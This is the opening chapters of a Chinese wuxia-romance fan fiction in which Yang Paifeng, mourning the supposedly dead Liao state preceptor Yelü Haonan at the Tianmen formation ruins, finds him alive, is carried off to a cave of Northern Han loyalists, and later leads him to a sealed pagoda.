《(南风恋)吹梦到西洲》 1. 尤恐相逢是梦中 天门阵废墟·六年后 暴雨初歇,暮色如凝血,沉沉压在天门阵废墟的断壁残垣之上。焦土中斜插着锈蚀的杨家枪与辽刀,枪缨早已腐化成絮,刀柄上缠绕的皮革被雨水泡得发胀,露出底下黯沉的金属——分不清是宋军的制式还是辽国的弯刀。一截焦黑的旗杆斜刺向天空,半幅残破的“杨”字帅旗在湿冷的风中无力地耷拉着,边缘早已被战火燎成焦脆的卷边。 腐木与白骨在泥泞中纠缠。杨排风的靴尖无意间踢到半块颅骨,那空洞的眼窝里积着浑浊的雨水,正直直望向灰蒙蒙的天空。她停了脚步,蹲下身,用冻得发红的手指将颅骨旁的几块碎骨拢了拢,堆成一个小小的坟冢。做完这一切,她才继续走向那截她惯常祭拜的残垣。 空气中弥漫着铁锈、湿土与隐约腐臭的气息——那是深埋地底的尸骸被连日暴雨浸泡后,从土壤缝隙中渗出的死亡味道,甜腻中带着令人作呕的腥气。一袭洗至发白、边缘已磨出毛边的素麻衣裙紧紧裹在她身上,被雨水浸透后贴在单薄的肩背上,勾勒出过于清瘦的轮廓。这衣裳是六年前她离开天波府时带的最后一件常服,如今袖口、肘部都已打了补丁,针脚粗疏,是她自己笨拙地缝上的。 她跪在那截倾倒的、刻着半道焦黑符文的残垣边——这是当年天门阵的一处阵眼石。以树枝笨拙地拨动面前那堆微弱的火堆,柴薪太湿,火苗挣扎着,时明时灭。她从怀里掏出一卷抄好的《往生咒》,纸张边缘已被怀中的体温焐得微潮。她小心地撕下一页,投入火中。 纸张蜷曲,化作黑色的蝴蝶,被山风卷起,混着未干的雨滴,黏在她湿透的衣襟和散乱的鬓发上。她似乎毫无所觉,只是怔怔地望着火光。火光跃动间,照亮她瘦削的侧脸:昔日圆润饱满、总被佘太君笑称“有福气”的脸颊,如今凹陷下去,颧骨突出,下颌线条尖得令人心惊。唯有那一双眸子,依旧灼亮如寒夜星辰——只是那光芒深处沉淀着六年风霜也未能化开的疲惫,与一种近乎麻木的坚忍。那是将全部情绪:震惊、剧痛、怨恨、思念、以及那不该存在却疯狂滋长的眷恋,死死压在心底最深处,用一层又一层冰冷外壳包裹后,仅剩的、支撑她活下去的东西。 “皓南……”她开口,嗓音沙哑得厉害,似粗砺的砂纸一遍遍磨过干涸的喉间,每个字都带着血气。这声音如今连她自己都觉得陌生,再不是当年天波府里那个嗓门清亮、笑起来能惊飞檐下雀鸟的烧火丫头杨排风了。 “今日是你的忌日……你若在天有灵,庇佑我们的孩儿平安长大,无病无灾。” 她顿了顿,深吸一口气,冰凉的空气刺得肺叶生疼,也让她混沌的头脑清醒了一瞬: “你的罪业……我日日抄经,焚于阵前。”她目光扫过周围焦黑的土地,这里每一寸都浸透了血,有宋军的,有辽兵的,也有无数被天门阵吞噬的无辜生灵的。“只盼能为你消弭万一,助你脱离无边苦海,早登彼岸……” 这些话她说了六年,从一开始的泣不成声,到后来的嘶哑痛哭,再到如今的平静麻木。唯有那微微颤抖、指节泛白的指尖,泄露着心底从未平息的惊涛骇浪。 六年前,他气息奄奄,握着她的手,将这颗离体后以秘法封存、依旧微微温热搏动的心脏,塞进她手里。那时他眼神复杂得她看不懂,有决绝,有疯狂,有一丝她不愿深究的、或许是错觉的温柔,最后都化为一句话:“……带走。别让任何人知道,尤其是……辽人。” 她真的带走了。藏在最隐秘的地方,藏了六年。连抚养她长大的佘太君,连情同姐妹的穆桂英,她都没说。这是她与他之间,最后一个、也是最沉重不堪的秘密。 “……这颗心,”她的声音低下去,几不可闻,却字字清晰,带着一种决绝的温柔,仿佛在对着虚空中的某个影子低语,“我收着了。谁也没给,谁也不知道。我把它……藏得很好。” 她抬起眼,望向废墟深处翻滚的浓雾。六年来,她总是恍惚觉得,那浓雾里会走出一个人,带着那身熟悉的墨色辽袍,用那双深邃如寒潭的眼睛看着她,讥诮地叫她一声“杨姑娘”。可每次,都只有风声呜咽,如鬼哭。 “待孩儿懂事,我总得让他知道,他爹爹……”她喉头哽住,半晌,才艰难地继续,“并非生来便是魔头,并非……全然无情。” 最后几字含在喉间,被强行咽下,化作一声压抑到极致的哽咽,在喉头滚动,灼得她眼眶发烫,却没有泪——六年来,泪早已流干了。只有无尽的、啃噬五脏六腑的酸楚。 这六年来,她守着这个秘密,如同守着地狱的入口。守着那个一出生便被神出鬼没的师叔凌霄子悄然抱走、她仅于襁褓中见过寥寥数面、连名字都未能亲自取下的孩子。师叔只留给她一句话:“此子命格太硬,煞气缠身,留在你身边,于他于你皆是劫难。待机缘至,自有相见之日。” 她连孩子的眉眼都没看清,只记得那皱巴巴的小脸上,眉心似有一点极淡的、朱砂般的红痕。 在“忠君爱国、抚养杨家将遗孤,她如今名义上是杨家收养的孤女”的明面责任,与内心深处对那个敌国枭雄难以磨灭、也无法向任何人言说的复杂情感之间,日夜撕扯,血肉模糊。 对耶律皓南(或者说,刘皓南),她恨。恨他绝情绝义,为炼那伤天害理的天门阵不惜自剜心窍,置苍生于水火,更将她那点可怜的情愫与信任,践踏于阴谋算计之中,成为他棋局里一枚无足轻重的棋子。这恨,支撑着她度过无数个觉得撑不下去的、被噩梦惊醒的日夜。 可恨的背面,是什么?是爱吗?她不敢想,也不愿承认。可那是无数个深夜里,无法自控地忆起一线天下山洞中,那个重伤濒死、褪去所有阴鸷伪装与辽国国师光环,苍白脆弱得像个迷路少年,曾对她流露出一丝真实无措与无言温情的他;是生死关头,他复杂难辨、似乎藏着千言万语的眼神;是那些短暂交汇、摒除国仇家恨时,灵魂深处莫名的震颤与共鸣。 这种爱不得、恨不得、忘不能、又抛不下的煎熬,早已刻入骨血,随着每一次呼吸啃噬着她,将她从当年那个明朗飒爽、敢爱敢恨的烧火丫头,磨成了如今这副沉默坚硬、心如枯井又暗藏余烬、游魂般活在过去的模样。 浓雾深处,传来了极其轻微的、靴底碾过碎骨的声响。 一步,一步,缓慢,沉凝,带着一种刻意控制的力道,却每一步都踏在人心尖上。 杨排风拨动火堆的树枝,骤然僵在半空。不是风。这脚步声……太清晰,太真实。 她后背的寒毛瞬间竖了起来。 一道挺拔如孤松的身影,缓步自翻涌的灰白色雾气中踱出。暮色晦暗,却依旧能看清那人面容,肤色是久不见天日的苍白,却并非病态憔悴,反而更衬得五官深邃如刻,眉峰如敛聚的寒刃,薄唇紧抿,毫无血色。一袭墨色辽国左衽锦袍,料子华贵,在暮色中流淌着幽暗的光泽,襟口与袖缘以银线绣着繁复的契丹云纹与狼首图腾,在渐浓的夜色中泛着冰冷的、不属于人间的微光。腰间蹀躞带空悬着数枚鎏金铜钩,随着他步伐轻轻晃动。墨发以一根简单的乌木簪束在脑后,几缕散发垂在颊边。 正是“已死”六年、坟前青草已枯荣六载、连大宋朝廷都已确认其身亡的辽国国师,耶律皓南。也是她深埋心底的那个,刘皓南。 他看起来……几乎没变。不,变了。眼神更深,更沉,那里面沉淀的东西,比六年前更加厚重晦涩,仿佛蕴藏着无尽的风暴与寒冰。只是脸色过于苍白,唇上毫无血色,在暮色中像一尊精心雕琢却失了生气的玉像。 当年天门阵破,他遭阵法反噬,心脉尽碎,辽国对外宣称尸骨无存,实则是辽国萧太后惜才,更忌惮他一身后患无穷的修为与对宋的深刻了解,不惜动用国本,请出幽居雪山之巅、已近百岁高龄的辽国大巫,以秘法为他强行续命。大巫取一颗自幼以秘药喂养、心窍剔透的“童子心”,施以逆天换心之术,嵌入他胸腔,替代那枚为控阵而自毁的原心。 此法虽保他形貌如初,性命无虞,甚至借辽国势力,暗中掌控更多权柄,隐为萧太后幕后最锋利的刀。但那天门阵反噬之力,阴毒无比,早已侵入魂魄,又岂是更换一颗心便能彻底根除?那反噬如附骨之疽,日夜不休地啃噬着他的经脉与神智,深藏于他看似平静的眼底那抹挥之不去的、幽暗如渊的痛楚与暴戾之中。这六年,他看似活着,实则每一日都在忍受常人难以想象的煎熬,性格也因这无休止的痛苦与漫长的筹谋隐忍,变得愈发偏执、阴郁、难以捉摸。 他逼近两步,靴底毫不留情地碾过一截半露在泥土外的、颜色发灰的臂骨,发出令人牙酸的细微碎裂声。他在她身后三尺处站定,目光落在她僵直的、微微颤抖的背脊,和那堆可怜的火苗上。 寂静,只有山风呼啸,卷动经卷灰烬,发出沙沙的呜咽。 然后他开口,嗓音冷硬如数九寒天深埋地底的玄铁,每一个字都带着冰碴,却又因某种极力压抑的情绪而微微发颤: “哦?” 仅仅一个字,已让杨排风全身血液瞬间冻结!这声音……是梦吗?是这六年来无数次纠缠她的幻觉,终于变成了最真实的梦魇? “不知你口中这孩儿,” 耶律皓南缓缓地、一字一顿地问,语气平静得诡异,却蕴含着山雨欲来的狂暴,每个字都像重锤砸在她心上,“的爹爹……究竟,是,谁?” “哗啦——!” 杨排风怀中紧抱的、尚未焚尽的经卷,因她全身剧震而脱手,散落一地泥泞。她像是被无形的巨力狠狠击中,霍然转身! 动作太猛,带倒了身后残存的半截砖石,尘土簌簌落下,迷了眼睛。她也顾不上了。 四目相对。 刹那间,杨排风眼中翻涌起滔天巨浪般的情绪,复杂激烈得让她几乎窒息: 先是见鬼般的、纯粹的惊骇与难以置信,瞳孔骤然收缩如针尖,脸上血色褪尽,比身上的素麻衣裙还要苍白。她甚至下意识地微微张口,却发不出任何声音,仿佛连呼吸都被这突如其来的、活生生的身影扼住。他没死?他怎么会没死?这六年……这六年她所有的痛苦、挣扎、祭奠,算什么? 紧接着,那惊骇被熊熊燃烧的、压抑了六年的愤怒与委屈取代!那愤怒灼热、猛烈,如同地底压抑已久的岩浆终于寻到出口,从她眼底最深处“轰”地迸发出来,几乎要化为实质的火焰,将眼前这个“死而复生”、将她六年人生搅得天翻地覆、此刻还敢这般质问她的男人焚为灰烬!六年她以为的死别,六年煎熬,六年独自背负的秘密、思念、怨恨、与对孩子的担忧……皆因他而起!他凭什么这样出现?凭什么用这种语气问她? 然而,那愤怒的烈焰并未持续太久。因为在他那双深不见底、翻涌着可怕风暴的眼眸注视下,一种更深层的恐惧倏然攫住了她——他听到了!他听到了关于“孩儿”的话!不,不能让他知道!绝不能! 最终,所有激烈翻腾的情绪,都被一种本能的、母兽护崽般的决绝强行压下,凝冻成两道冰刃般锋利、也冰刃般寒冷戒备的眸光。她周身肌肉在瞬间绷紧,如同蓄势待发的母豹,每一根神经都拉响最高级别的警报,进入战斗状态。那只刚刚还在拨弄火堆、略显无力的手,已悄然握住了藏在袖中的短刀刀柄——那是她六年来从不离身的习惯,此刻掌心一片冰凉的汗湿。 短短一息之间,情绪数度剧烈转换,最终归于一片死寂的冰冷防御。 “你听错了。” 她挺直了仿佛下一秒就要折断的脊背,声音是从未有过的冷硬,每一个字都像从冰窟里捞出来的石子,砸在地上。指甲深深掐入掌心,刺痛传来,让她保持着一线清明。有温热的液体渗出,是血,混着泥水,从指缝滴落,她却浑然不觉。 “此地,只有祭奠亡夫的未亡人,” 她迎着他深不可测、仿佛能洞穿一切的目光,毫不退让,重复道,仿佛在说服自己,也像是在斩断最后一丝妄念,“没有什么孩儿。” “亡夫?” 耶律皓南低低重复这两个字,忽然轻笑一声,那笑声里没有半分暖意,只有无尽的嘲讽与某种即将失控的暴风雨前兆,在寂静的废墟中显得格外刺耳。“未亡人?” 他又重复,语气玩味,眼神却越来越冷,冷得让她骨缝发寒。 他猛地踏前一步,身形如鬼魅,快得杨排风根本来不及反应!一只冰冷如铁钳、带着薄茧的手,已狠狠扣住了她纤细的手腕!力道之大,几乎要捏碎她的骨节!那刺骨的寒意与尖锐的疼痛,让她闷哼一声,额角瞬间渗出冷汗。 六年!整整六年!他隐于暗处,忍受换心后的排斥剧痛与反噬之苦,运筹帷幄,以为她或许会在某个角落为他神伤,哪怕只是恨,也是将他放在心上。他甚至暗中留意过她的消息,知道她过得不好,心中曾有过一丝扭曲的慰藉与痛楚。可刚才他听到了什么?孩儿?她竟有了别人的孩儿?还口口声声祭奠“亡夫”?哪个“亡夫”?她嫁人了?!” 狂喜于那一声“孩儿”可能意味着自己竟有血脉存世的震撼,与剧痛于她可能早已琵琶别抱,甚至与他人孕育子嗣的“背叛”感,如同最烈的毒药与最猛的火焰交织在一起,在他胸中轰然炸开!烧毁了他最后一丝引而不发的理智,烧得他双目隐隐泛红,口不择言。那颗强换来的“童子心”在胸腔里疯狂鼓噪,带起一阵闷痛,更添烦躁。 “六年!我当你为我肝肠寸断,日夜难安……” 他声音嘶哑,带着一种自己都未察觉的、扭曲的痛楚与疯狂,猛地将她往自己身前狠狠一拽!两人气息几乎相撞,他死死盯着她的眼睛,仿佛要看到她的灵魂深处,每一个字都像是从齿缝间迸出来的毒箭,淬着嫉妒与暴怒: “原来你早已……早已与他人珠胎暗结!说!” 他另一只手也抬起来,捏住她的下巴,强迫她抬头,力道不容抗拒: “那野种是谁的?!” “野种”二字,如同滚烫的沸油,狠狠泼在杨排风早已千疮百孔的心上!也点燃了她最后的理智! “啊——!” 她发出一声短促的、不似人声的尖叫,不知哪来的力气,猛地甩开他钳制的手,踉跄着后退数步,背脊重重撞在冰冷的残垣上,震落一片灰尘。被捏过的手腕和下巴火辣辣地疼,可都比不上心口的剧痛。 泪水,毫无征兆地,混着脸上未干的雨水,滚滚而落。不是啜泣,是崩溃般的奔流。六年来的委屈、恐惧、孤独、愤怒、被误解的刺痛、以及对他“死而复生”却如此恶劣践踏她情感的滔天怨怼,在这一刻彻底决堤! “耶律皓南!” 她嘶声喊出这个名字,声音破碎不堪,却带着劈开一切伪装的锋利,在废墟中回荡,“当年是你!是你弃情绝义!是你为炼邪阵自绝后路!是你将我们之间那点可怜的情分弃如敝履!如今……如今你又有何颜面来质问我?!你既选假死脱身,让我……让我饱尝六年生离之苦,夜夜难眠,日日煎熬……你此刻现身作甚?!来看我笑话吗?!来确认我是否为你痛不欲生吗?!” 她字字如刀,劈开了自己六年来辛苦维持的平静表象,也劈开了两人之间那层自欺欺人的迷雾。那些压抑的、无处诉说的痛,此刻找到了宣泄的出口: “我告诉你!我没有儿子!你听清楚了!我没有——!!!” 最后一声,已是嘶吼,在山谷废墟间回荡,凄厉如杜宇啼血,耗尽了她所有的力气。她靠着残垣滑坐下去,浑身发抖,泪水模糊了视线,只看到那个墨色的身影立在暮色中,一动不动。 耶律皓南被她这激烈的反应和泣血的控诉斥得浑身一震,竟不由自主地踉跄着后退了半步,面上最后一丝血色也尽数褪去,苍白如纸。她眼中那深切的痛苦、恨意、以及某种更深沉的绝望,如此真实,如此猛烈,撞得他心口那处新旧交织的伤疤剧痛难当,那颗“童子心”疯狂擂动,几乎要炸开。 他想说,这六年,他虽借辽国之势暗中布局,看似掌控一切,实则日夜承受换心排斥与阵法反噬锥心蚀骨之痛,生不如死。辽国大巫的秘术可为他强行续命,却难补他因剜心、反噬而碎裂的心魂,更难让他如常人般安稳度日。他想说,他并非刻意“假死”弃她,当年天门阵反噬,他确实濒死,是萧太后强行施救。他想说,他无时无刻不在关注她的消息,知道她每年今日都来此祭奠,知道她过得不好,他比她更痛。 他甚至无法坦言,那个孩子,一出生便被神出鬼没的师叔凌霄子带走——那位看似游戏人间、万事不萦于心,道法修为却更胜其师陈希夷的奇人,对他这个性子偏激执拗的师侄,看似严厉呵斥、放任不管,实则暗护至极。凌霄子带走孩子时,只留给他一句偈语:“此子命格非凡,武曲临凡,然煞气缠身,与你一般,皆是不容于世的孤星。留在你身边,恐遭天妒,亦会成你心魔。待你二人孽缘了结,心魔得渡,自有父子相见之日。” 这些话,在喉头翻滚,却一句也吐不出。北汉皇孙残存的自尊,辽国国师的威仪与多疑,六年孤绝隐忍、与虎谋皮铸就的硬壳,让他无法在她面前流露半分脆弱与恳求,无法低头解释,更无法承认自己这六年来,同样在炼狱中煎熬,而得知可能有血脉存世时,那瞬间击穿灵魂的震撼与悸动。 而此刻,盛怒与以为被欺骗的狂怒,混合着对那未知“情敌”的暴戾嫉妒,以及对“自己血脉可能流落在外、甚至被唤作野种”的蛮横占有欲与刺痛,彻底冲垮了他本就因反噬而摇摇欲坠的理智。 “你撒谎!” 他低吼一声,眼中血色更浓,不再听她任何言语,猛地再次欺身上前!指尖疾如闪电,带着凌厉的劲风,连点她身上数处大穴! 杨排风武功本就不及他,方才情绪激动之下更无防备,穴道被制,瞬间动弹不得,连声音也发不出,只有一双泪眼死死瞪着他,里面是滔天的恨、绝望,还有一丝他看不懂的、深切的悲哀。 耶律皓南一把将她打横抱起,卷入怀中。怀中身躯轻得惊人,还在无法控制地微微颤抖。他不再看这令人心碎的废墟,不再看那堆将熄的火、散落的经卷,转身投入身后愈发浓重的、仿佛能吞噬一切的雾气之中。墨色袍角翻飞,很快与暮色融为一体。 废墟重归死寂。只有那堆将熄未熄的火堆,余烬在渐密的雨丝中明明灭灭,苟延残喘,一如二人之间,剪不断、理还乱,掺杂着国仇、家恨、情孽、血缘、误解与无法磨灭的吸引,早已深入骨髓、痛彻心扉的血泪纠缠。 而这纠缠,随着他的“复活”与“孩儿”秘密的揭开,才刚刚掀起更加惊心动魄的序幕。 ______ 山洞幽深 岩壁常年渗着水,凝结成湿冷的水光,在跳动的火把映照下,反射出幽幽的、不安定的光芒。这处位于太行山深处的天然洞窟,被人工拓宽修整,虽显粗糙,却别有章法。洞内约容纳了十余道身影,有男有女,有老有少,个个瘦削,面有菜色,衣衫是多次缝补的粗布,袖口、肘部磨出了毛边,甚至打着不同颜色的补丁。但无一例外,每个人的脊梁都挺得笔直,如同岩洞中不屈的石笋。他们的眼神,在跃动的火光映照下,并无普通流亡者的惶惑或麻木,反而凝着一簇沉默的、不灭的火——那是亡国之人将骄傲与仇恨刻入骨髓后,淬炼出的硬骨与执念。 他们是北汉遗民。 当年,宋太宗赵光义御驾亲征,破北汉国都晋阳,为绝后患,下令焚毁宫室,将象征刘氏王权的建筑付之一炬,更对北汉宗亲进行了残酷的清洗,其手段酷烈到连奉命修史的宋廷史官都不得不含糊其辞、讳莫如深。这些人,或是侥幸逃脱的远支宗亲,或是誓死不降的旧臣家将,在国破家亡的滔天洪流中,成了无处可归的浮萍。他们辗转流亡,最终藏身这荒山野岭的洞穴,一藏便是十数年。 洞中陈设简陋至极,却处处透着诡异的“讲究”:中央以青石垒砌的平台,高约三尺,形制俨然是缩小的御阶;散落各处的石墩,摆放的位置依稀可见旧时朝堂分列的影子;甚至角落里堆放杂物的方式,都隐隐遵循着某种古老的礼制。他们守着这些早已失去实际意义的规矩,仿佛如此,便能对抗时间的侵蚀,便能在这不见天日的洞穴中,维系那早已消散在历史烟尘里的“北汉”魂脉,等待渺茫的复国之日。 耶律皓南——或者说,刘皓南,踉跄着跌坐在中央石榻上。那石榻冰凉粗糙,铺着一层陈旧但干净的兽皮。刚一坐下,他猛地俯身,剧烈咳嗽起来,肩膀耸动,仿佛要将五脏六腑都咳出来。紧接着,“哇”地一声,一大口浓黑如墨、粘稠得惊人的血,从他口中喷出,尽数溅在胸前苍白的衣襟上,瞬间泅开一大片触目惊心的暗红,散发出浓烈腥咸的气味。 “少主!” 几名遗民惊呼上前,脸上写满担忧与痛惜。 杨排风原本因被他强行掳来、制住穴道而燃起的熊熊愤恨,在看见这口黑血、闻到那异常腥气的瞬间,被更强烈的惊恐与一种说不清道不明的揪心撕得粉碎!穴道方才在途中已被他解开部分,至少能动能言。她几乎是下意识地扑上前,顾不上什么男女之防、国仇家恨,伸手扶住了他摇摇欲坠、突然显得异常脆弱的身形。 指尖触及他冰冷彻骨、皮肤下却仿佛有滚烫岩浆在奔流冲撞的腕骨——那是天门阵反噬的阴毒之力与他体内强行压制它的真气,以及那颗排斥的“童子心”,在激烈交锋的余波,凶险万分,让他整个人如同一个随时会炸开的火炉,外表却冰冷如尸。 “你…你这六年,” 她声音抖得不成样子,几乎语无伦次,抬头看向他惨白如金纸、冷汗涔涔、嘴唇泛着青紫的脸,那双总是深邃锐利的眼睛此刻因痛苦而有些失焦,“到底……到底是怎么过的?你的身体……怎么会这样?” 她想起六年前,天门阵破后他奄奄一息的模样,难道……难道他根本没真正好过? 耶律皓南倔强地别过头,避开她过于直接、盛满震惊与……关切?的目光。他抬手用袖口狠狠抹去唇边残留的血迹,扯出一个冰冷而虚弱、近乎自嘲的笑,试图推开她:“不劳杨姑娘费心……死不了。” 可这一次,他连推开她的力气都显得虚浮绵软,手腕被她紧紧攥住,竟似抓住了一截在寒风中即将燃尽的残烛,冰冷,脆弱,颤抖,仿佛下一秒就会彻底熄灭,化为灰烬。这个认知让杨排风的心狠狠一抽。 一位须发皆白、脸上皱纹如刀刻斧凿、但眼神依旧清亮有神的老者,蹒跚着上前。他是北汉旧臣,曾官至户部侍郎,亲眼见证过少主的童年,也经历了国破时的惨烈与之后漫长的流亡。他望着耶律皓南,又看看惊慌失措、脸色不比少主好多少的杨排风,重重叹息一声,嗓音沙哑粗粝,如同两块砾石在相互摩擦,却带着一种沉淀了岁月的沉重: “杨姑娘……” 他缓缓开口,洞中其他遗民也默默看了过来,火光在他们饱经风霜、写满沧桑的脸上投下沉重的、晃动的阴影,气氛凝重得让人窒息。他们看杨排风的眼神复杂,有探究,有警惕,也有一丝基于她方才本能反应的缓和。 “少主他……这六年来,何曾有过一日安生?” 老者声音低沉,每一个字都浸透了血泪与无奈,“天门阵反噬,阴毒入髓,如跗骨之蛆,日夜不休。初时只是经脉滞涩,功力时强时弱……到后来,五脏俱损,气血逆行,阴阳失调。每逢阴雨雷电,或情绪激荡,便如万蚁噬心,痛不欲生,呕血如墨……全凭辽国巫医的虎狼之药与少主自身深厚功力强压着。” 他目光缓缓扫过洞中每一个沉默的遗民,众人皆默默垂首,有人紧紧攥拳,有人偷偷抹了下眼角。这些都是跟随少主、将复国执念与身家性命都系于他一身的人。 “全凭着一口……复国雪耻的意志撑着,凭着对萧太后、对辽国那些时刻提防、利用他之人的恨,凭着对我们这些老弱残兵、前朝遗民的一丝责任……少主他,才能吊着这口气,活到今日啊!” 老者声音哽咽,满是痛心,“可那终究是外力强续的命,是借来的心……与少主原本的体质血脉格格不入,日夜损耗着他的本源生机。这般活着,实则是另一种酷刑啊!” 杨排风愣在原地,扶着他的手不可抑制地微微颤抖。她也是北汉遗民。虽在两岁稚龄便因战乱与家人离散,被杨家收养,对故国的记忆模糊得只剩几个飘渺的残影,对“刘”姓的认同也早已被“杨排风”这个名字和杨家的恩情覆盖。但血脉深处,那属于北汉刘氏的一缕微薄共鸣,在此刻被老者的话语、被洞中这些衣衫褴褛却脊梁挺直、眼中燃着不灭火焰的同族,狠狠触动。看着石榻上这个强撑傲骨、却吐血不止、苍白脆弱得仿佛随时会碎裂的男人,想到他这六年竟是这样过来的…… 一股极其复杂的痛楚,猛地攫住了她的心脏!那痛楚里,有对故国凋零的悲悯,有对同族流离的哀伤,有对耶律皓南(刘皓南)这般惨状的震惊、难以置信,与……连她自己都未曾察觉、也不愿承认的、细密的抽痛与怜惜。她忽然想起,刚才他质问“野种”时,眼中除了暴怒,是否也有一闪而过的、被背叛的刺痛?就像当年,她以为被他彻底抛弃时一样? 国仇家恨的壁垒,在此刻,被更原始的血脉共鸣、最基本的恻隐,以及那些被强行压抑、却从未消失的复杂情愫,撞出了一丝裂缝。火光在她眼中跳动,映出挣扎与混乱。 她看向耶律皓南的眼神复杂到了极点,愤怒未消,戒备仍在,却不可控制地渗入了震惊、茫然,与一丝连她自己都未意识到的柔软。声音不由地放软,带着不易察觉的颤抖和急切,几乎脱口而出: “怎样才能救你?是不是……是不是要换回你原来的心?” 她想起师叔凌霄子当年带走孩子时,意味深长地提过一句“心不归位,神魂难安”,一个模糊却惊人的念头划过脑海——难道师叔将他的心密存,便是一线生机? 耶律皓南身体剧震,猝然转过头,深不见底的眼眸对上了她。那里面翻涌着剧烈的震惊、狼狈,一丝被彻底看穿的慌乱,以及更深沉的、难以言喻的波动。他无法否认——那颗被辽国大巫强行植入的“童子心”,虽然暂时保住了他的性命,让他得以苟延残喘,暗中布局,实则如同最沉重的枷锁与毒瘤,不仅禁锢了他大半修为,更与他自身血脉神魂格格不入,日夜排斥,损耗着他的本源生机,让他时刻活在反噬与排异的双重痛苦中。唯有换回原本属于他的、与他神魂血脉完全相融的那颗心,才有望真正拔除反噬根源,修复创伤,获得新生。 他内心震动于她的敏锐——她竟能一语道破关键!更震动于她这句话里,那丝不容错辨的、残存的关切与急迫。这让他死寂冰冷、被恨与执念填塞了六年的心湖,骤然被投下一颗巨石,荡开剧烈而陌生的涟漪。她……还在意他的死活? 但,北汉皇孙残存的高傲,辽国国师浸淫已久的阴沉多疑,六年孤绝隐忍、与虎谋皮铸就的硬壳,让他无法在她面前流露半分脆弱、恳求与解释。他死死抿着唇,下颌线条绷紧,别过脸,避开了她过于清澈、也过于锐利、仿佛能照见他所有不堪与痛苦的目光。喉结上下剧烈滚动了几下,仿佛吞咽着无数难以出口的话语,最终,却只是化作一片更加沉重、窒息的沉默。 这沉默,在摇曳的火光与众人凝视下,在杨排风那双渐渐了然的泪眼中,已然是无声的、最清晰的默认。 杨排风看懂了他的沉默,心头猛地一沉,像被一只冰冷的手攥住,随即又涌起一股难以言喻的酸楚、决绝,与一丝渺茫的希望。她慢慢松开了扶着他的手,退后一步,站直了身体。素白的衣裙在昏暗中显得格外单薄脆弱,背脊却挺得笔直,如同风中芦苇,柔韧而不折。 洞中一片寂静,只有火把燃烧的噼啪声,岩壁渗水的滴答声,以及众人压抑的呼吸声。所有的目光都聚焦在这两人身上,空气中弥漫着紧张、期待与未知的沉重。 ______ 大相国寺后山·古塔禁地 暮色沉甸甸地压下来,将整个后山笼罩在一片青灰色的、粘稠的寂静之中。那座不知建于何年何月、传闻镇着前朝某位高僧舍利的古塔,塔身严重倾斜,巨大的阴影如一头沉默的、受伤的巨兽,匍匐在荒草丛生的坡地上。塔身砖石斑驳,爬满了深绿的苔藓和枯黑的藤蔓,最高几层已然坍塌,露出内部黑黢黢的空洞,在暮色中像巨兽被挖去了内脏后张开的、绝望的嘴。 杨排风独自立于一方青苔斑驳、半截埋入土中的石碑前。石碑材质非金非玉,触手冰凉沁骨,上面字迹早已被风雨侵蚀得模糊难辨,唯有正中两个斗大的古篆,因雕刻极深,依稀可认出是“舍身”。此刻,那两个字在愈发黯淡的天光下,透着一股不祥的、沉甸甸的,仿佛以生命为代价的气息。 她的指尖无意识地攥紧了袖口,粗糙的布料摩擦着皮肤,带来一丝微弱的真实感,抵御着心底不断上涌的寒意。她盯着那“舍身”二字,目光仿佛被钉住了,声音低得几乎要碎在穿过古塔残垣、呜咽如泣的风里: “东西……就在下面。” 她顿了顿,喉头干涩发紧,每一个字都吐得艰难,“你自己…好自为之。” 说完,立刻紧紧闭上了嘴,仿佛怕泄露更多情绪。 她没有看身侧的人,也没有任何多余的叮嘱、劝诫或疑问。所有的担忧、恐惧、挣扎、还有那丝可耻的期待,都被她死死压在平静到近乎麻木的表象之下,只余下这干巴巴的、近乎冷酷的一句。仿佛多说一个字,那勉强维持的冷静就会彻底崩裂,让她在他面前暴露出所有软弱的牵挂。 耶律皓南站在她身后三步之外,身披一件毫不起眼的灰褐色粗麻斗篷,宽大的帽檐低压,遮去了他大半张面容,只露出线条冷硬、苍白如雪的下颌和紧抿得失去血色的薄唇。唯有当山风骤然卷起,掀起斗篷一角时,才能隐约窥见内里一丝墨色辽锦的暗纹,华贵而低调,与他此刻落魄隐忍的伪装格格不入,也昭示着他身份与处境的双重性。 他步履稳沉,向前踏出一步,靴子踩在湿滑的苔藓上,没有发出半点多余声响。他在石碑前站定,没有立刻动作,只是静静地看了那石碑片刻,目光幽深复杂,仿佛在透过石碑,与某个看不见的、游戏人间的存在交流,嘴角几不可察地抽动了一下,似是无奈,又似苦笑。 然后,他缓缓抬起右手,在杨排风紧张的注视下,屈起食指,以指关节,并未运力,只是如同叩门般,轻轻叩向石碑正中“舍身”二字的交接处。 “笃。” 一声轻响,在寂静的暮色中格外清晰,甚至带着点悠然的回音。 下一瞬—— “嗡——!” 石碑猛地一震!并非地动山摇,而是某种灵性的震颤。以他指尖落点为中心,一圈繁复炫目、充满道韵却又透着一丝顽皮跳脱之意的金色符文,骤然亮起!那光芒并不刺眼,却带着一种直透灵魂的威严与浩瀚,瞬间照亮了周围数丈之地,也将耶律皓南彻底笼罩其中。符文如活过来的金色小蛇,灵动非凡,顺着他叩击的指尖,欢快地窜入他的经脉! “唔!” 耶律皓南闷哼一声,显然没料到“敲门”的动静这么大,浑身剧颤,脸色瞬间又白了几分,单膝一软,几乎要跪倒在地!一丝鲜红的血线,从他紧抿的唇角缓缓逸出,滴落在青苔上。 然而,他眼中闪过的,却不是被袭击的愤怒或痛苦,而是一种极其复杂的、近乎哭笑不得的波澜,甚至还掺杂着一丝“果然如此”的无奈与了然,以及深藏的、对施术者任性作风的头痛。 他抬手,用拇指指腹随意抹去唇边的血,盯着那兀自流转不息、金光灿灿、仿佛在得意洋洋炫耀的符文,低低地、近乎叹息地笑了一声,那笑声里竟有几分罕见的、近乎晚辈对顽劣长辈的纵容与没好气: “师叔啊师叔……” 他摇了摇头,语气是杨排风从未听过的微妙,“‘小子,躲够了就自己滚过来拿,别磨磨唧唧跟个大姑娘似的’……你这‘欢迎’方式,还真是……” 他顿了顿,似乎在想一个合适的词来形容这看似厉害、实则透着一股戏谑捉弄意味的禁制,最终化作一声不知是无奈还是佩服的轻笑: “一如既往的,别出心裁,不客气。” 随着他这句仿佛暗合某种机锋的话音落下,那流转的金色符文仿佛听懂了,光芒骤然一敛,如同潮水般退去,瞬间消失得无影无踪,石碑恢复了之前的斑驳古旧,仿佛刚才的绚烂只是幻觉。 